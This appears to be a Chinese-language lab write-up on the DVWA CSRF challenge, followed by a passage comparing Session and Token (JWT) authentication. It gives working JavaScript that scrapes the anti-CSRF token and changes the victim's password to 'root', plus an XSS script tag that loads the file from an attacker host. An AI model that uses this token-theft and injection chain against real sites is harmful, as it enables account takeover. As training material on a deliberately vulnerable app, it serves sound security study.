http://192.168.112.200/DVWA-master/vulnerabilities/csrf/
查看页面源码, 在表单中发现隐藏的token, 每次刷新页面token都会更新.
<form action="#" method="GET">
New password:<br>
<input type="password" autocomplete="off" name="password_new"><br>
Confirm new password:<br>
<input type="password" autocomplete="off" name="password_conf"><br>
<br>
<input type="submit" value="Change" name="Change">
<input type="hidden" name="user_token" value="4fb74e6eb4823d5eccd7aadccdeea0c5">
form>
http://192.168.112.200/DVWA-master/vulnerabilities/csrf/
?password_new=111&password_conf=123&Change=Change&user_token=4fb74e6eb4823d5eccd7aadccdeea0c5
(1)先向修改密码的页面发送请求, 将token从源码中获取出来.
(2)按照请求格式将修改密码的请求发送给服务器.
var tokenurl = 'http://192.168.112.200/DVWA-master/vulnerabilities/csrf/';
var xmlhttp = new XMLHttpRequest();
// 设置onreadystatechange事件处理器
xmlhttp.onreadystatechange = function() {
/*
0 - 请求未初始化(open 方法还没有被调用)
1 - 服务器连接已建立(open 方法已被调用)
2 - 请求已接收(send 方法已被调用,且头部和状态可获得)
3 - 请求处理中(下载中,responseText 属性已包含部分数据)
4 - 请求已完成,且响应已就绪(下载操作已完成)
*/
if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
// 取得响应源码,正则提取Token
var text = xmlhttp.responseText;
var regex = /user_token\' value\=\'(.*?)\' \/\>/;
console.log(regex);
var match = text.match(regex);
if (match && match[1]) {
var token = match[1];
console.log(token);
// 创建一个新的XMLHttpRequest对象用于修改密码请求
var changexmlhttp = new XMLHttpRequest();
var changeUrl = 'http://192.168.112.200/DVWA-master/vulnerabilities/csrf/?user_token=' + token + '&password_new=root&password_conf=root&Change=Change';
changexmlhttp.open("GET", changeUrl, true);
changexmlhttp.send();
}
}
};
// 开启异步请求
xmlhttp.open("GET", tokenurl, true);
xmlhttp.send();
将脚本csrf.js放到攻击者服务器上 http://192.168.112.202/csrf.js .
比如利用XSS漏洞注入代码:
<script src="http://192.168.112.202/csrf.js"+Math.random()>script>
当用户访问页面时会自动执行攻击者的js代码.
Web开发中常见的两种身份验证机制:Session和Token。
Session
是基于服务器的身份验证机制。当用户第一次登录时,服务器会创建一个session,并将其ID存储在用户的cookie中。之后的每次请求,浏览器都会自动发送这个cookie给服务器。服务器通过这个ID来识别用户和存储相关的数据。但是,session通常是与特定的域名或应用绑定的,不容易在多个域或应用间共享。当你尝试在跨域(Cross-Domain)环境下使用session时,会遇到因浏览器的同源策略而引起的限制。
Token
,特别是JSON Web Token (JWT)
,是另一种身份验证方式,它是独立于域的。在这种机制下,用户登录后会收到一个token,这个token包含了用户的身份信息,并且被服务器签名防止篡改。用户每次发起请求时,会将这个token放在HTTP请求的头部发送给服务器。服务器通过验证token的签名来确认用户身份。由于token是自包含的,并且通常不依赖于特定的域或会话,它们可以用于不同域之间的身份验证,这在构建微服务、单页面应用(SPA)、移动应用或跨域API服务时特别有用。
使用Token的跨域身份验证允许用户在不同的系统和服务之间无缝地验证身份,而不需要重新登录,这就是所谓的单点登录(Single Sign-On, SSO
)。
但需要注意的是,无论使用Session还是Token,安全性都是一个需要关注的重点。例如,Token通常应该通过HTTPS传输以防止中间人攻击,并且合理设置过期时间来减少被盗用的风险。同时,对于敏感操作,仍然需要进行额外的身份验证步骤来确保安全。
Token验证(尤其是JWT)确实在某些方面提供了比传统Session验证更多的灵活性和扩展性,特别是在构建跨域、微服务架构、无服务器架构、单页面应用(SPA)和移动应用等现代Web应用时。不过,Session和Token各有优缺点,并且适用于不同的场景。以下是一些考虑因素:
Session的优点:
Session的缺点:
Token的优点:
Token的缺点:
Session并不是一种过时的验证技术,而是一种适合特定场景的验证方式。对于一些简单的、不需要大规模分布式部署的应用,Session仍然是一个非常好的选择。在实际应用中,很多系统会根据具体需求和场景,结合使用Session和Token。例如,内部系统可能会使用Session管理认证,而对外提供的API则使用Token进行认证。
总结来说,选择Session还是Token,应该根据应用的具体需求、预期的扩展性、开发的复杂性以及安全性需求来决定。